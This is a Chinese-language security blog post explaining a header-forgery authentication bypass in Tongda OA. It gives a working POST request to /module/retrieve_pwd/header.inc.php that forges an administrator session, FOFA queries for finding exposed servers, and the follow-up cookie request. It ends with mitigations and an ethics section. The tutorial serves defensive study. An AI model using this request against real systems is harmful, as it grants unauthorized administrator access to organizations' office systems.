通达OA header伪造漏洞实战:从原理到未授权访问
1. 通达OA身份认证绕过漏洞初探第一次听说通达OA这个漏洞时我正在给客户做安全审计。当时发现一个奇怪的现象明明没有登录却能直接访问后台管理页面。后来深入研究才发现原来是header伪造导致的身份认证绕过问题。这个漏洞影响范围很广包括2013、2016、2017等多个版本。简单来说这个漏洞的原理就是系统在验证用户身份时过分信任了HTTP请求中的某些header参数。攻击者可以精心构造一个特殊的POST请求直接告诉系统我已经登录了我的用户ID是1通常是管理员。更可怕的是系统居然会相信这种说法并返回一个有效的登录凭证。2. 漏洞原理深度解析2.1 认证机制的设计缺陷通达OA的认证机制存在一个致命问题它把关键的会话信息如用户ID、权限等直接放在了header.inc.php这个文件的处理逻辑中。正常情况下这些信息应该通过严格的会话管理来维护而不是简单地通过HTTP请求就能设置。我通过反编译分析发现系统在处理/module/retrieve_pwd/header.inc.php这个接口时会直接读取_SESSION数组中的值。更糟糕的是这个接口没有做任何权限校验导致攻击者可以任意设置这些会话参数。2.2 关键参数分析让我们看看那个神奇的POC请求中最关键的几个参数_SESSION[LOGIN_USER_ID]1 _SESSION[LOGIN_UID]1 _SESSION[LOGIN_FUNC_STR]1,3,42,643...LOGIN_USER_ID设置当前登录用户的ID1通常是管理员LOGIN_UID用户唯一标识LOGIN_FUNC_STR这个最危险它定义了用户的所有功能权限实测中发现Content-Type: application/x-www-form-urlencoded这个header是必须的否则生成的cookie会无效。这个坑我踩过好几次每次调试都浪费不少时间。3. 漏洞复现实战指南3.1 环境准备首先我们需要识别存在漏洞的系统。使用FOFA这样的网络空间搜索引擎可以这样查询titleoffice Anywhere 2013或者更宽泛的搜索titleoffice Anywhere找到目标后建议先在虚拟机中搭建测试环境。我通常会用Docker快速部署一个测试实例这样不会影响生产环境。3.2 分步攻击演示第一步获取有效cookie构造如下POST请求POST /module/retrieve_pwd/header.inc.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Content-Length: 1024 _SESSION[LOGIN_THEME]15_SESSION[LOGIN_USER_ID]1_SESSION[LOGIN_UID]1_SESSION[LOGIN_FUNC_STR]1,3,42...重点注意Content-Type必须设置正确Content-Length要足够大_SESSION参数要完整第二步提取Set-Cookie成功的响应会包含一个Set-Cookie头这就是我们的通行证。把它保存下来准备下一步使用。第三步访问后台现在我们只需要在请求的header中加入这个cookie就能畅通无阻地访问后台了GET /general/ HTTP/1.1 Host: target.com Cookie: PHPSESSID窃取的会话ID4. 防御方案与修复建议4.1 临时缓解措施如果暂时无法升级可以采取以下措施在Nginx/Apache配置中添加规则拦截对/module/retrieve_pwd/header.inc.php的访问加强会话管理设置严格的HttpOnly和Secure标志部署WAF规则检测异常的_SESSION参数4.2 彻底修复方案通达官方已经发布了补丁建议尽快升级到最新版本。升级前务必备份数据我见过不少升级失败导致数据丢失的案例。对于开发者来说这个漏洞给我们敲响了警钟永远不要信任客户端传来的任何数据会话管理应该集中处理而不是分散在各个接口关键功能必须进行权限校验5. 漏洞利用的伦理思考虽然这个漏洞很容易利用但我要特别强调未经授权的测试是违法的。在实际工作中我始终坚持先授权后测试的原则。即使是在客户授权范围内也会小心控制测试的影响范围避免对系统造成意外损害。记得有次在授权测试中我不小心触发了一个异常导致系统日志暴增。发现问题后我立即停止了测试并协助客户修复了这个问题。职业道德和技术能力同样重要。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2419527.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!